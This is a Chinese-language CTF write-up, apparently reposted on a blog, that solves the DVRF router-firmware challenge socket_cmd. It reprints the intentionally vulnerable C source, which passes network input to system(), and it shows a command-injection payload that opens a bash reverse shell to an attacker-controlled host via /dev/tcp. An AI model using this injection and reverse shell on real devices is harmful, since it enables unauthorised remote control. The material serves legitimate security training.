路由器漏洞挖掘之命令执行

2019-04-04 约 916 字 预计阅读 2 分钟

声明:本文 【路由器漏洞挖掘之命令执行】 由作者 H4lo 于 2019-03-10 09:01:00 首发 先知社区 曾经 浏览数 950 次

感谢 H4lo 的辛苦付出!

前言

这次的这道题目是 DVRF 的,程序是 pwnable/ShellCode_Required/ 目录下的 socket_cmd 。题目涉及到了简单的命令注入的绕过。

漏洞分析

在 github 下直接查看源码:

https://github.com/praetorian-inc/DVRF/blob/master/Pwnable%20Source/ShellCode_Required/socket_cmd.c

源码如下:

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Command Injection

int main(int argc, char **argv[])
{
if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);

}

    char str[200] = "\0";
    char endstr[100] = "\0";
    int listen_fd, comm_fd;
    int retval = 0;

    struct sockaddr_in servaddr;

    listen_fd = socket(AF_INET, SOCK_STREAM, 0);

    bzero( &servaddr, sizeof(servaddr));

    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
    printf("Binding to port %d\n", atoi(argv[1]));

    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (retval == -1){
    printf("Error Binding to port %d\n", atoi(argv[1]) );
     exit(1);}


    listen(listen_fd, 2);

    comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);

    while(1)
    {

        bzero(str, 200);
    write(comm_fd, "Send me a string:",17);
        read(comm_fd,str,200);
    if (!strcasecmp(str, "exit")){
    write(comm_fd, "Exiting...");
    exit(0);
    }
    snprintf(endstr, sizeof(endstr), "echo %s", str);
    system(endstr);
    bzero(endstr, 100);
    snprintf(endstr, sizeof(endstr), "You sent me %s", str);

        write(comm_fd, endstr, strlen(endstr)+1);

    }
}

阅读源码可以知道程序的功能是在本地绑定一个端口进行监听,然后我们用 nc 直接连接上去就行了。

  • 这里就相当于路由器在初始化一个 httpd 进程后,绑定了 80 端口,只要我们连接这个端口就可以进行访问。

例如我们这里绑定到本地的 55555 端口,然后再开一个终端连接上去

程序会输出我们的输入的字符串。

看源码发现,程序会使用 snprintf 格式化的输出并直接调用 system 函数,执行 shell 指令。

所以很明显这里存在一个命令执行的注入。这种形式的注入在做 CTF 的 WEB 题中还是可以经常遇到的。

IDA 中,也可以很清晰的看到,system 函数直接把 snprintf 函数格式化后到栈上的字符串作为参数来执行命令。

构造 payload

源码的 system 函数是 system("echo %s"); 这样调用的,我们可以使用 | 或者 ; 来达到截断的目的。

例如:system("echo 123;ls") 或者 system("echo 123|ls")

但是在这个命令执行的回显是在服务器端的,我们无法看到回显。所以自然就会想到我们可以通过反弹一个 shellgetshell

可以使用 bash -i 来反弹:

bash -i >& /dev/tcp/ip/port 0>&1

但是这里直接使用的话是不起作用的,貌似是空格被截断了啥的。

所以这里我们需要使用bash -c 命令,bash -i 的这个命令作为他的参数传进去,即:

123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

vps 上开启一个监听端口,就可以正常弹回 shell

  • 原来以为 snprintf 函数存在栈溢出,但是其实只有 sprintf 才会溢出

总结

从这题的源码以及解题思路可以得出,在挖掘 IOT 固件漏洞的过程中,还可以尝试绑定的某个端口的 fuzz 的命令注入,或许会有意想不到的效果。

这题应该还有许多种绕过姿势的,这边就讲到的最简单的两种,使用 | 和 ; 符号进行注入。别的姿势大家可以自行挖掘和尝试。

关键词:[‘安全技术’, ‘IoT安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now